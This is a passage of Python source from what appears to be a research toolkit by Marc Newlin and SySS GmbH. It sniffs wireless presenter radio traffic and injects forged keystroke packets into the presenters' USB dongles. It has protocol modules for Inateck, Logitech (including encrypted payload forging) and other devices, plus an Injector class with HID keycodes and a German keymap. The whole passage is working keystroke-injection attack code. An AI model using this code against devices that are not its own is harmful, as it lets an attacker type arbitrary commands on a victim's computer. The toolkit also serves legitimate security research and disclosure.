107 | p += struct.pack("B", self.config["crc8_init"]) 108 | 109 | # Append CRC-16 110 | p += struct.pack("!H", self.CRC16(p)) 111 | 112 | # Transmit the packet 10 times on channel 7 (2.407 GHz) 113 | for x in range(10): 114 | payload = b"\xF1\x0F\x55" + p + b"\xAF\xFF" 115 | common.radio.transmit_payload_generic(address=b"\x00\x00\x00\x00\x00", 116 | payload=b"\xF1\x0F\x55" + p + b"\xAF\xFF") 117 | time.sleep(TRANSMIT_DELAY) 118 | 119 | def discovery_loop(self, cancel): 120 | """Discovery loop""" 121 | 122 | while not cancel: 123 | # Receive payloads 124 | value = common.radio.receive_payload() 125 | 126 | if value[0] == 0xFF: 127 | continue 128 | 129 | if len(value) < 15: 130 | continue 131 | 132 | # Verify the CRC 133 | crc_calc = self.CRC16(value[0:12]) 134 | crc = struct.unpack("!H", value[12:14])[0] 135 | if crc != crc_calc: 136 | logging.debug("CRC failure") 137 | continue 138 | 139 | # Parse the payload 140 | sync = value[0:4] 141 | payload = value[4:] 142 | code = self.LUT0.index(payload[0]) 143 | magic1 = payload[1] 144 | magic2 = payload[2] 145 | mouse_b = self.LUT3.index(payload[3]) 146 | mouse_x = self.LUT4.index(payload[4]) 147 | mouse_y = self.LUT5.index(payload[5]) 148 | modifiers = self.LUT6.index(payload[6]) 149 | 150 | # Log the packet 151 | logging.info("Scan Code: {:02x}, Magic 1: {:02x}, Magic 2: {:02x} " 152 | "Mouse Button: {:02x}, Mouse X: {}, Mouse Y: {}, " 153 | "Modifier: {:02x}" 154 | .format(code, magic1, magic2, mouse_b, mouse_x, 155 | mouse_y, modifiers)) 156 | 157 | def start_injection(self): 158 | """Enter injection mode""" 159 | return 160 | 161 | def stop_injection(self): 162 | """Leave injection mode""" 163 | return 164 | -------------------------------------------------------------------------------- /tools/protocols/inateck_wp1001.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | import struct 6 | 7 | from .protocol import Protocol 8 | from lib import common 9 | from collections import deque 10 | from threading import Thread 11 | 12 | from binascii import unhexlify 13 | 14 | SEND_DELAY = 0.002 15 | 16 | 17 | class Inateck_WP1001(Protocol): 18 | """Inateck Wireless Presenter 1001 19 | """ 20 | 21 | def __init__(self, address): 22 | """Constructor""" 23 | 24 | # set address 25 | self.address = address 26 | super(Inateck_WP1001, self).__init__("Inateck_WP1001") 27 | 28 | def configure_radio(self): 29 | """Configure the radio""" 30 | 31 | # Put the radio in sniffer mode and set sample rate to 1M 32 | common.radio.enter_sniffer_mode(self.address, rate=common.RF_RATE_1M) 33 | 34 | # Set the channels to 35 only (2.435 GHz) 35 | common.channels = [35] 36 | 37 | # Set the initial channel 38 | common.radio.set_channel(common.channels[0]) 39 | 40 | # Set initial sequence number 41 | self.seq = 0 42 | 43 | def start_injection(self): 44 | """Enter injection mode""" 45 | 46 | # Build a dummy HID payload 47 | self.seq = 0 # set squence number 48 | self.dummy_pld = b"\x00\x00\x00" # create dummy payload 49 | 50 | 51 | self.dummp_pld1 = b"\xaa\xc9\x03\xde\x30\x08\x93\x9b\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x4d\x9f" 52 | self.dummp_pld2 = b"\xaa\xc9\x03\xde\x30\x08\x93\x9b\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x4d\x9f" 53 | 54 | self.dummy_pld1 = unhexlify("aac903de30c9cd80020000000000000000000226cf") 55 | self.dummy_pld2 = unhexlify("aac903de30c9ce800000000000000000008000fa13") 56 | 57 | # self.dummy_pld1 = unhexlify("939B00050000000000000043000D") 58 | # self.dummy_pld2 = unhexlify("939B00000000000000000043000D") 59 | 60 | # self.dummy_pld1 = unhexlify("aac903de3008939b0004000000000000000000044d") 61 | # self.dummy_pld2 = unhexlify("aac903de3008939d000000000000000000010001f4") 62 | 63 | 64 | # Start the TX loop 65 | self.cancel_tx_loop = False 66 | self.tx_queue = deque() 67 | self.tx_thread = Thread(target=self.tx_loop) 68 | self.tx_thread.daemon = True 69 | self.tx_thread.start() 70 | 71 | # Queue up 50 dummy packets for initial dongle sync 72 | for x in range(50): 73 | self.tx_queue.append(self.dummy_pld1) 74 | self.tx_queue.append(self.dummy_pld2) 75 | 76 | def tx_loop(self): 77 | """TX loop""" 78 | 79 | while not self.cancel_tx_loop: 80 | # Read from the queue 81 | if len(self.tx_queue): 82 | 83 | # Transmit the queued packet a couple times 84 | payload = self.tx_queue.popleft() 85 | for x in range(2): 86 | ack_timeout = 1 # set acknowledge timeout to 500 ms 87 | retries = 4 88 | common.radio.transmit_payload(payload, ack_timeout, retries) 89 | 90 | # No queue items; transmit a dummy packet 91 | else: 92 | self.tx_queue.append(self.dummy_pld1) 93 | self.tx_queue.append(self.dummy_pld2) 94 | 95 | def stop_injection(self): 96 | """Leave injection mode""" 97 | 98 | while len(self.tx_queue): 99 | time.sleep(SEND_DELAY) 100 | continue 101 | 102 | self.cancel_tx_loop = True 103 | self.tx_thread.join() 104 | 105 | def send_hid_event(self, scan_code=0, modifiers=0): 106 | """Send a HID event""" 107 | 108 | # Build and queue packet payload 109 | payload = struct.pack("BBB", 0x40 | (self.seq & 0x0f), scan_code, 110 | modifiers) 111 | self.tx_queue.append(payload) # add packet to queue 112 | self.seq += 1 # increase sequence number 113 | -------------------------------------------------------------------------------- /tools/protocols/inateck_wp2002.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import time 5 | import struct 6 | 7 | from .protocol import Protocol 8 | from lib import common 9 | from collections import deque 10 | from threading import Thread 11 | 12 | SEND_DELAY = 0.002 13 | 14 | 15 | class Inateck_WP2002(Protocol): 16 | """Inateck Wireless Presenter 2002 17 | Uses the same protocol as the RII rounded-pen wireless presenter 18 | """ 19 | 20 | def __init__(self, address): 21 | """Constructor""" 22 | 23 | # set address 24 | self.address = address 25 | super(Inateck_WP2002, self).__init__("Inateck_WP2002") 26 | 27 | def configure_radio(self): 28 | """Configure the radio""" 29 | 30 | # Put the radio in sniffer mode and set sample rate to 250K 31 | common.radio.enter_sniffer_mode(self.address, rate=common.RF_RATE_250K) 32 | 33 | # Set the channels to 25 only (2.425 GHz) 34 | common.channels = [25] 35 | 36 | # Set the initial channel 37 | common.radio.set_channel(common.channels[0]) 38 | 39 | # Set initial sequence number 40 | self.seq = 0 41 | 42 | def start_injection(self): 43 | """Enter injection mode""" 44 | 45 | # Build a dummy HID payload 46 | self.seq = 0 # set squence number 47 | self.dummy_pld = b"\x00\x00\x00" # create dummy payload 48 | 49 | # Start the TX loop 50 | self.cancel_tx_loop = False 51 | self.tx_queue = deque() 52 | self.tx_thread = Thread(target=self.tx_loop) 53 | self.tx_thread.daemon = True 54 | self.tx_thread.start() 55 | 56 | # Queue up 50 dummy packets for initial dongle sync 57 | for x in range(50): 58 | self.tx_queue.append(self.dummy_pld) 59 | 60 | def tx_loop(self): 61 | """TX loop""" 62 | 63 | while not self.cancel_tx_loop: 64 | # Read from the queue 65 | if len(self.tx_queue): 66 | 67 | # Transmit the queued packet a couple times 68 | payload = self.tx_queue.popleft() 69 | for x in range(2): 70 | ack_timeout = 1 # set acknowledge timeout to 500 ms 71 | retries = 4 72 | common.radio.transmit_payload(payload, ack_timeout, retries) 73 | 74 | # No queue items; transmit a dummy packet 75 | else: 76 | self.tx_queue.append(self.dummy_pld) 77 | 78 | def stop_injection(self): 79 | """Leave injection mode""" 80 | 81 | while len(self.tx_queue): 82 | time.sleep(SEND_DELAY) 83 | continue 84 | 85 | self.cancel_tx_loop = True 86 | self.tx_thread.join() 87 | 88 | def send_hid_event(self, scan_code=0, modifiers=0): 89 | """Send a HID event""" 90 | 91 | # Build and queue packet payload 92 | payload = struct.pack("BBB", 0x40 | (self.seq & 0x0f), scan_code, 93 | modifiers) 94 | self.tx_queue.append(payload) # add packet to queue 95 | self.seq += 1 # increase sequence number 96 | -------------------------------------------------------------------------------- /tools/protocols/injector.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Keystroke injector 6 | 7 | by Marc Newlin (@macrnewlin) and 8 | Matthias Deeg (@matthiasdeeg, matthias.deeg@syss.de) 9 | 10 | Copyright (c) 2019 Marc Newlin 11 | Copyright (c) 2016,2019 SySS GmbH 12 | 13 | This program is free software: you can redistribute it and/or modify 14 | it under the terms of the GNU General Public License as published by 15 | the Free Software Foundation, either version 3 of the License, or 16 | (at your option) any later version. 17 | 18 | This program is distributed in the hope that it will be useful, 19 | but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 21 | GNU General Public License for more details. 22 | 23 | You should have received a copy of the GNU General Public License 24 | along with this program. If not, see . 25 | """ 26 | 27 | # USB HID keyboard modifier 28 | MODIFIER_NONE = 0 29 | MODIFIER_CONTROL_LEFT = 1 << 0 30 | MODIFIER_SHIFT_LEFT = 1 << 1 31 | MODIFIER_ALT_LEFT = 1 << 2 32 | MODIFIER_GUI_LEFT = 1 << 3 33 | MODIFIER_CONTROL_RIGHT = 1 << 4 34 | MODIFIER_SHIFT_RIGHT = 1 << 5 35 | MODIFIER_ALT_RIGHT = 1 << 6 36 | MODIFIER_GUI_RIGHT = 1 << 7 37 | 38 | # USB HID key codes 39 | KEY_NONE = 0x00 40 | KEY_A = 0x04 41 | KEY_B = 0x05 42 | KEY_C = 0x06 43 | KEY_D = 0x07 44 | KEY_E = 0x08 45 | KEY_F = 0x09 46 | KEY_G = 0x0A 47 | KEY_H = 0x0B 48 | KEY_I = 0x0C 49 | KEY_J = 0x0D 50 | KEY_K = 0x0E 51 | KEY_L = 0x0F 52 | KEY_M = 0x10 53 | KEY_N = 0x11 54 | KEY_O = 0x12 55 | KEY_P = 0x13 56 | KEY_Q = 0x14 57 | KEY_R = 0x15 58 | KEY_S = 0x16 59 | KEY_T = 0x17 60 | KEY_U = 0x18 61 | KEY_V = 0x19 62 | KEY_W = 0x1A 63 | KEY_X = 0x1B 64 | KEY_Y = 0x1C 65 | KEY_Z = 0x1D 66 | KEY_1 = 0x1E 67 | KEY_2 = 0x1F 68 | KEY_3 = 0x20 69 | KEY_4 = 0x21 70 | KEY_5 = 0x22 71 | KEY_6 = 0x23 72 | KEY_7 = 0x24 73 | KEY_8 = 0x25 74 | KEY_9 = 0x26 75 | KEY_0 = 0x27 76 | KEY_RETURN = 0x28 77 | KEY_ESCAPE = 0x29 78 | KEY_BACKSPACE = 0x2A 79 | KEY_TAB = 0x2B 80 | KEY_SPACE = 0x2C 81 | KEY_MINUS = 0x2D 82 | KEY_EQUAL = 0x2E 83 | KEY_BRACKET_LEFT = 0x2F 84 | KEY_BRACKET_RIGHT = 0x30 85 | KEY_BACKSLASH = 0x31 86 | KEY_EUROPE_1 = 0x32 87 | KEY_SEMICOLON = 0x33 88 | KEY_APOSTROPHE = 0x34 89 | KEY_GRAVE = 0x35 90 | KEY_COMMA = 0x36 91 | KEY_PERIOD = 0x37 92 | KEY_SLASH = 0x38 93 | KEY_CAPS_LOCK = 0x39 94 | KEY_F1 = 0x3A 95 | KEY_F2 = 0x3B 96 | KEY_F3 = 0x3C 97 | KEY_F4 = 0x3D 98 | KEY_F5 = 0x3E 99 | KEY_F6 = 0x3F 100 | KEY_F7 = 0x40 101 | KEY_F8 = 0x41 102 | KEY_F9 = 0x42 103 | KEY_F10 = 0x43 104 | KEY_F11 = 0x44 105 | KEY_F12 = 0x45 106 | KEY_PRINT_SCREEN = 0x46 107 | KEY_SCROLL_LOCK = 0x47 108 | KEY_PAUSE = 0x48 109 | KEY_INSERT = 0x49 110 | KEY_HOME = 0x4A 111 | KEY_PAGE_UP = 0x4B 112 | KEY_DELETE = 0x4C 113 | KEY_END = 0x4D 114 | KEY_PAGE_DOWN = 0x4E 115 | KEY_ARROW_RIGHT = 0x4F 116 | KEY_ARROW_LEFT = 0x50 117 | KEY_ARROW_DOWN = 0x51 118 | KEY_ARROW_UP = 0x52 119 | KEY_NUM_LOCK = 0x53 120 | KEY_KEYPAD_DIVIDE = 0x54 121 | KEY_KEYPAD_MULTIPLY = 0x55 122 | KEY_KEYPAD_SUBTRACT = 0x56 123 | KEY_KEYPAD_ADD = 0x57 124 | KEY_KEYPAD_ENTER = 0x58 125 | KEY_KEYPAD_1 = 0x59 126 | KEY_KEYPAD_2 = 0x5A 127 | KEY_KEYPAD_3 = 0x5B 128 | KEY_KEYPAD_4 = 0x5C 129 | KEY_KEYPAD_5 = 0x5D 130 | KEY_KEYPAD_6 = 0x5E 131 | KEY_KEYPAD_7 = 0x5F 132 | KEY_KEYPAD_8 = 0x60 133 | KEY_KEYPAD_9 = 0x61 134 | KEY_KEYPAD_0 = 0x62 135 | KEY_KEYPAD_DECIMAL = 0x63 136 | KEY_EUROPE_2 = 0x64 137 | KEY_APPLICATION = 0x65 138 | KEY_POWER = 0x66 139 | KEY_KEYPAD_EQUAL = 0x67 140 | KEY_F13 = 0x68 141 | KEY_F14 = 0x69 142 | KEY_F15 = 0x6A 143 | KEY_CONTROL_LEFT = 0xE0 144 | KEY_SHIFT_LEFT = 0xE1 145 | KEY_ALT_LEFT = 0xE2 146 | KEY_GUI_LEFT = 0xE3 147 | KEY_CONTROL_RIGHT = 0xE4 148 | KEY_SHIFT_RIGHT = 0xE5 149 | KEY_ALT_RIGHT = 0xE6 150 | KEY_GUI_RIGHT = 0xE7 151 | 152 | 153 | # key mapping for printable characters of default German keyboard layout 154 | KEYMAP_GERMAN = { 155 | ' ' : (MODIFIER_NONE, KEY_SPACE), 156 | '!' : (MODIFIER_SHIFT_LEFT, KEY_1), 157 | '"' : (MODIFIER_SHIFT_LEFT, KEY_2), 158 | '#' : (MODIFIER_NONE, KEY_EUROPE_1), 159 | '$' : (MODIFIER_SHIFT_LEFT, KEY_4), 160 | '%' : (MODIFIER_SHIFT_LEFT, KEY_5), 161 | '&' : (MODIFIER_SHIFT_LEFT, KEY_6), 162 | '(' : (MODIFIER_SHIFT_LEFT, KEY_8), 163 | ')' : (MODIFIER_SHIFT_LEFT, KEY_9), 164 | '*' : (MODIFIER_NONE, KEY_KEYPAD_MULTIPLY), 165 | '+' : (MODIFIER_NONE, KEY_KEYPAD_ADD), 166 | ',' : (MODIFIER_NONE, KEY_COMMA), 167 | '-' : (MODIFIER_NONE, KEY_KEYPAD_SUBTRACT), 168 | '.' : (MODIFIER_NONE, KEY_PERIOD), 169 | '/' : (MODIFIER_SHIFT_LEFT, KEY_7), 170 | '0' : (MODIFIER_NONE, KEY_0), 171 | '1' : (MODIFIER_NONE, KEY_1), 172 | '2' : (MODIFIER_NONE, KEY_2), 173 | '3' : (MODIFIER_NONE, KEY_3), 174 | '4' : (MODIFIER_NONE, KEY_4), 175 | '5' : (MODIFIER_NONE, KEY_5), 176 | '6' : (MODIFIER_NONE, KEY_6), 177 | '7' : (MODIFIER_NONE, KEY_7), 178 | '8' : (MODIFIER_NONE, KEY_8), 179 | '9' : (MODIFIER_NONE, KEY_9), 180 | ':' : (MODIFIER_SHIFT_LEFT, KEY_PERIOD), 181 | ';' : (MODIFIER_SHIFT_LEFT, KEY_COMMA), 182 | '<' : (MODIFIER_NONE, KEY_EUROPE_2), 183 | '=' : (MODIFIER_SHIFT_LEFT, KEY_0), 184 | '>' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_2), 185 | '?' : (MODIFIER_SHIFT_LEFT, KEY_MINUS), 186 | '@' : (MODIFIER_ALT_RIGHT, KEY_Q), 187 | 'A' : (MODIFIER_SHIFT_LEFT, KEY_A), 188 | 'B' : (MODIFIER_SHIFT_LEFT, KEY_B), 189 | 'C' : (MODIFIER_SHIFT_LEFT, KEY_C), 190 | 'D' : (MODIFIER_SHIFT_LEFT, KEY_D), 191 | 'E' : (MODIFIER_SHIFT_LEFT, KEY_E), 192 | 'F' : (MODIFIER_SHIFT_LEFT, KEY_F), 193 | 'G' : (MODIFIER_SHIFT_LEFT, KEY_G), 194 | 'H' : (MODIFIER_SHIFT_LEFT, KEY_H), 195 | 'I' : (MODIFIER_SHIFT_LEFT, KEY_I), 196 | 'J' : (MODIFIER_SHIFT_LEFT, KEY_J), 197 | 'K' : (MODIFIER_SHIFT_LEFT, KEY_K), 198 | 'L' : (MODIFIER_SHIFT_LEFT, KEY_L), 199 | 'M' : (MODIFIER_SHIFT_LEFT, KEY_M), 200 | 'N' : (MODIFIER_SHIFT_LEFT, KEY_N), 201 | 'O' : (MODIFIER_SHIFT_LEFT, KEY_O), 202 | 'P' : (MODIFIER_SHIFT_LEFT, KEY_P), 203 | 'Q' : (MODIFIER_SHIFT_LEFT, KEY_Q), 204 | 'R' : (MODIFIER_SHIFT_LEFT, KEY_R), 205 | 'S' : (MODIFIER_SHIFT_LEFT, KEY_S), 206 | 'T' : (MODIFIER_SHIFT_LEFT, KEY_T), 207 | 'U' : (MODIFIER_SHIFT_LEFT, KEY_U), 208 | 'V' : (MODIFIER_SHIFT_LEFT, KEY_V), 209 | 'W' : (MODIFIER_SHIFT_LEFT, KEY_W), 210 | 'X' : (MODIFIER_SHIFT_LEFT, KEY_X), 211 | 'Y' : (MODIFIER_SHIFT_LEFT, KEY_Z), 212 | 'Z' : (MODIFIER_SHIFT_LEFT, KEY_Y), 213 | '[' : (MODIFIER_ALT_RIGHT, KEY_8), 214 | '\\' : (MODIFIER_ALT_RIGHT, KEY_MINUS), 215 | ']' : (MODIFIER_ALT_RIGHT, KEY_9), 216 | '^' : (MODIFIER_NONE, KEY_GRAVE), 217 | '_' : (MODIFIER_SHIFT_LEFT, KEY_SLASH), 218 | '`' : (MODIFIER_SHIFT_LEFT, KEY_EQUAL), 219 | 'a' : (MODIFIER_NONE, KEY_A), 220 | 'b' : (MODIFIER_NONE, KEY_B), 221 | 'c' : (MODIFIER_NONE, KEY_C), 222 | 'd' : (MODIFIER_NONE, KEY_D), 223 | 'e' : (MODIFIER_NONE, KEY_E), 224 | 'f' : (MODIFIER_NONE, KEY_F), 225 | 'g' : (MODIFIER_NONE, KEY_G), 226 | 'h' : (MODIFIER_NONE, KEY_H), 227 | 'i' : (MODIFIER_NONE, KEY_I), 228 | 'j' : (MODIFIER_NONE, KEY_J), 229 | 'k' : (MODIFIER_NONE, KEY_K), 230 | 'l' : (MODIFIER_NONE, KEY_L), 231 | 'm' : (MODIFIER_NONE, KEY_M), 232 | 'n' : (MODIFIER_NONE, KEY_N), 233 | 'o' : (MODIFIER_NONE, KEY_O), 234 | 'p' : (MODIFIER_NONE, KEY_P), 235 | 'q' : (MODIFIER_NONE, KEY_Q), 236 | 'r' : (MODIFIER_NONE, KEY_R), 237 | 's' : (MODIFIER_NONE, KEY_S), 238 | 't' : (MODIFIER_NONE, KEY_T), 239 | 'u' : (MODIFIER_NONE, KEY_U), 240 | 'v' : (MODIFIER_NONE, KEY_V), 241 | 'w' : (MODIFIER_NONE, KEY_W), 242 | 'x' : (MODIFIER_NONE, KEY_X), 243 | 'y' : (MODIFIER_NONE, KEY_Z), 244 | 'z' : (MODIFIER_NONE, KEY_Y), 245 | '{' : (MODIFIER_ALT_RIGHT, KEY_7), 246 | '|' : (MODIFIER_ALT_RIGHT, KEY_EUROPE_2), 247 | '}' : (MODIFIER_ALT_RIGHT, KEY_0), 248 | '~' : (MODIFIER_ALT_RIGHT, KEY_BRACKET_RIGHT), 249 | u'\'' : (MODIFIER_SHIFT_LEFT, KEY_EUROPE_1), 250 | u'Ä' : (MODIFIER_SHIFT_LEFT, KEY_APOSTROPHE), 251 | u'Ö' : (MODIFIER_SHIFT_LEFT, KEY_SEMICOLON), 252 | u'Ü' : (MODIFIER_SHIFT_LEFT, KEY_BRACKET_LEFT), 253 | u'ä' : (MODIFIER_NONE, KEY_APOSTROPHE), 254 | u'ö' : (MODIFIER_NONE, KEY_SEMICOLON), 255 | u'ü' : (MODIFIER_NONE, KEY_BRACKET_LEFT), 256 | u'ß' : (MODIFIER_NONE, KEY_MINUS), 257 | u'€' : (MODIFIER_ALT_RIGHT, KEY_E) 258 | } 259 | 260 | 261 | class Injector(object): 262 | """Injector""" 263 | 264 | def __init__(self, protocol, keymap): 265 | """Constructor""" 266 | 267 | # set protocol 268 | self.protocol = protocol 269 | 270 | # set keymap 271 | self.keymap = keymap 272 | 273 | def get_modifiers(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 274 | """Get modifiers""" 275 | 276 | modifiers = MODIFIER_NONE 277 | 278 | if shift: 279 | modifiers |= MODIFIER_SHIFT_LEFT 280 | if ctrl: 281 | modifiers |= MODIFIER_CONTROL_LEFT 282 | if alt_l: 283 | modifiers |= MODIFIER_ALT_LEFT 284 | if alt_r: 285 | modifiers |= MODIFIER_ALT_RIGHT 286 | if win: 287 | modifiers |= MODIFIER_GUI_LEFT 288 | 289 | return modifiers 290 | 291 | def send_enter(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 292 | """Send ENTER key""" 293 | 294 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 295 | self.protocol.send_hid_event(scan_code=KEY_RETURN, modifiers=modifiers) 296 | self.protocol.send_hid_event(scan_code=0x00, modifiers=modifiers) 297 | 298 | def send_escape(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 299 | """Send ESCAPE key""" 300 | 301 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 302 | self.protocol.send_hid_event(scan_code=KEY_ESCAPE, modifiers=modifiers) 303 | self.protocol.send_hid_event(scan_code=0x00) 304 | 305 | def send_backspace(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 306 | """Send BACKSPACE key""" 307 | 308 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 309 | self.protocol.send_hid_event(scan_code=KEY_BACKSPACE, modifiers=modifiers) 310 | self.protocol.send_hid_event(scan_code=0x00) 311 | 312 | def send_tab(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 313 | """Send TAB key""" 314 | 315 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 316 | self.protocol.send_hid_event(scan_code=KEY_TAB, modifiers=modifiers) 317 | self.protocol.send_hid_event(scan_code=0x00) 318 | 319 | def send_capslock(self, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 320 | """Send CAPS LOCK key""" 321 | 322 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 323 | self.protocol.send_hid_event(scan_code=KEY_CAPS_LOCK, modifiers=modifiers) 324 | self.protocol.send_hid_event(scan_code=0x00) 325 | 326 | def send_key(self, key, shift=False, ctrl=False, alt_l=False, alt_r=False, win=False): 327 | """Send key""" 328 | 329 | modifiers = self.get_modifiers(shift, ctrl, alt_l, alt_r, win) 330 | self.protocol.send_hid_event(scan_code=key, modifiers=modifiers) 331 | self.protocol.send_hid_event(scan_code=0x00) 332 | 333 | def send_string(self, string): 334 | """Send a string""" 335 | 336 | for c in string: 337 | # Get modifier and scan code from current keymap 338 | modifiers, scan_code = self.keymap[c] 339 | 340 | # Send keypress 341 | self.protocol.send_hid_event(scan_code, modifiers) 342 | 343 | # Send key release 344 | self.protocol.send_hid_event(scan_code=0x00, modifiers=MODIFIER_NONE) 345 | 346 | def start_injection(self): 347 | """Start injection""" 348 | self.protocol.start_injection() 349 | 350 | def stop_injection(self): 351 | """Stop injection""" 352 | self.protocol.stop_injection() 353 | -------------------------------------------------------------------------------- /tools/protocols/logitech.py: -------------------------------------------------------------------------------- 1 | import time 2 | import logging 3 | import struct 4 | 5 | from .protocol import Protocol 6 | from lib import common 7 | from collections import deque 8 | from threading import Thread 9 | from binascii import hexlify 10 | 11 | 12 | KEYUP_REF = "00:D3:A9:CC:DE:A0:4E:4B:FD:9B:8B:98:F9:E7:00:00:00:00:00:00:00" 13 | 14 | 15 | class Logitech(Protocol): 16 | """Logitech R400/R700/R800 wireless presenter""" 17 | 18 | def __init__(self, address, encrypted=False): 19 | """Constructor""" 20 | 21 | self.address = address 22 | self.encrypted = encrypted 23 | 24 | super(Logitech, self).__init__("Logitech") 25 | 26 | def configure_radio(self): 27 | """Configure the radio""" 28 | 29 | # Put the radio in sniffer mode 30 | common.radio.enter_sniffer_mode(self.address) 31 | 32 | # Set the channels to {2..77..3} 33 | common.channels = range(2, 77, 3) 34 | 35 | # Set the initial channel 36 | common.radio.set_channel(common.channels[0]) 37 | 38 | def send_hid_event(self, scan_code=0, modifiers=0): 39 | """Send HID event""" 40 | 41 | # Build and enqueue the payload 42 | if not self.encrypted: 43 | # generate unencrypted payload 44 | print(modifiers) 45 | payload = b"\x00\xC1" + struct.pack("B", modifiers) + b"\x00" + struct.pack("B", scan_code) + 4 * b"\x00" 46 | else: 47 | # generate encrypted payload 48 | ref = bytes.fromhex(KEYUP_REF.replace(":", "")) 49 | idx = 8 50 | modidx = 2 51 | payload = ref 52 | payload = payload[0:idx] + chr(scan_code ^ ref[idx]) + payload[idx+1:] 53 | payload = payload[0:modidx] + chr(modifiers ^ ref[modidx]) + payload[modidx+1:] 54 | 55 | # Calculate and append checksum 56 | checksum = 0 57 | for b in payload: 58 | # checksum -= struct.unpack("B", b)[0] 59 | checksum -= b 60 | 61 | payload += struct.pack("B", checksum & 0xff) 62 | self.tx_queue.append(payload) 63 | 64 | def start_injection(self): 65 | """Enter injection mode""" 66 | 67 | # Start the TX loop 68 | self.cancel_tx_loop = False 69 | self.tx_queue = deque() 70 | self.tx_thread = Thread(target=self.tx_loop) 71 | self.tx_thread.daemon = True 72 | self.tx_thread.start() 73 | 74 | def tx_loop(self): 75 | """TX loop""" 76 | 77 | # Channel timeout 78 | timeout = 0.1 # 100 ms 79 | 80 | # Parse the ping payload 81 | ping_payload = b"\x00" 82 | 83 | # Format the ACK timeout and auto retry values 84 | ack_timeout = 1 # 500 ms 85 | retries = 4 86 | 87 | # Last packet time 88 | last_packet = time.time() 89 | 90 | # Sweep through the channels and decode ESB packets 91 | last_ping = time.time() 92 | channel_index = 0 93 | address_string = hexlify(self.address) 94 | 95 | while not self.cancel_tx_loop: 96 | 97 | # Follow the target device if it changes channels 98 | if time.time() - last_ping > timeout: 99 | 100 | # First try pinging on the active channel 101 | if not common.radio.transmit_payload(ping_payload, ack_timeout, retries): 102 | 103 | # Ping failed on the active channel, so sweep through all available channels 104 | success = False 105 | for channel_index in range(len(common.channels)): 106 | common.radio.set_channel(common.channels[channel_index]) 107 | if common.radio.transmit_payload(ping_payload, ack_timeout, retries): 108 | 109 | # Ping successful, exit out of the ping sweep 110 | last_ping = time.time() 111 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 112 | success = True 113 | break 114 | 115 | # Ping sweep failed 116 | if not success: 117 | logging.debug('Unable to ping {0}'.format(address_string)) 118 | 119 | # Ping succeeded on the active channel 120 | else: 121 | logging.debug('Ping success on channel {0}'.format(common.channels[channel_index])) 122 | last_ping = time.time() 123 | 124 | # Read from the queue 125 | if len(self.tx_queue): 126 | 127 | # Transmit the queued packet 128 | if time.time() - last_packet < 0.008: 129 | continue 130 | payload = self.tx_queue.popleft() 131 | if not common.radio.transmit_payload(payload, ack_timeout, retries): 132 | self.tx_queue.appendleft(payload) 133 | else: 134 | last_packet = time.time() 135 | 136 | def stop_injection(self): 137 | """Leave injection mode""" 138 | 139 | while len(self.tx_queue): 140 | time.sleep(0.001) 141 | continue 142 | self.cancel_tx_loop = True 143 | self.tx_thread.join() 144 | -------------------------------------------------------------------------------- /tools/protocols/protocol.py: -------------------------------------------------------------------------------- 1 | from threading import Thread 2 | from enum import Enum 3 | from lib import common 4 | 5 | 6 | class Protocol(object): 7 | """Protocol""" 8 | 9 | # USB HID keyboard modifier 10 | MODIFIER_NONE = 0 11 | MODIFIER_CONTROL_LEFT = 1 << 0 12 | MODIFIER_SHIFT_LEFT = 1 << 1 13 | MODIFIER_ALT_LEFT = 1 << 2 14 | MODIFIER_GUI_LEFT = 1 << 3 15 | MODIFIER_CONTROL_RIGHT = 1 << 4 16 | MODIFIER_SHIFT_RIGHT = 1 << 5 17 | MODIFIER_ALT_RIGHT = 1 << 6 18 | MODIFIER_GUI_RIGHT = 1 << 7 19 | 20 | def __init__(self, name): 21 | """Constructor""" 22 | self.name = name 23 | self.cancel = False 24 | self.configure_radio() 25 | 26 | def start_discovery(self): 27 | """Start device discovery loop""" 28 | self.thread = Thread(target=self.discovery_loop, args=(self.cancel,)) 29 | self.thread.daemon = True 30 | self.thread.start() 31 | 32 | def stop_discovery(self): 33 | """Stop device discovery loop""" 34 | self.cancel = True 35 | self.thread.join() 36 | 37 | def configure_radio(self): 38 | """Configure the radio""" 39 | raise NotImplementedError() 40 | 41 | def discovery_loop(self, cancel): 42 | """Discovery loop""" 43 | raise NotImplementedError() 44 | 45 | def send_hid_event(self, scan_code, shift, ctrl, win): 46 | """Send a HID event""" 47 | raise NotImplementedError() 48 | 49 | def start_injection(self): 50 | """Enter injection mode""" 51 | raise NotImplementedError() 52 | 53 | def stop_injection(self): 54 | """Leave injection mode""" 55 | raise NotImplementedError() 56 | -------------------------------------------------------------------------------- /tools/protocols/protocols.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | 4 | class Protocols(Enum): 5 | """Supported wireless protocols""" 6 | 7 | HS304 = 'hs304' 8 | AmazonBasics = 'amazon' 9 | Canon = 'canon' 10 | TBBSC = 'tbbsc' 11 | RII = 'rii' 12 | Logitech = 'logitech' 13 | LogitechEncrypted = 'logitech-enc' 14 | Inateck_WP1001 = 'inateck_wp1001' 15 | Inateck_WP2002 = 'inateck_wp2002' 16 | 17 | def __str__(self): 18 | return self.value 19 | -------------------------------------------------------------------------------- 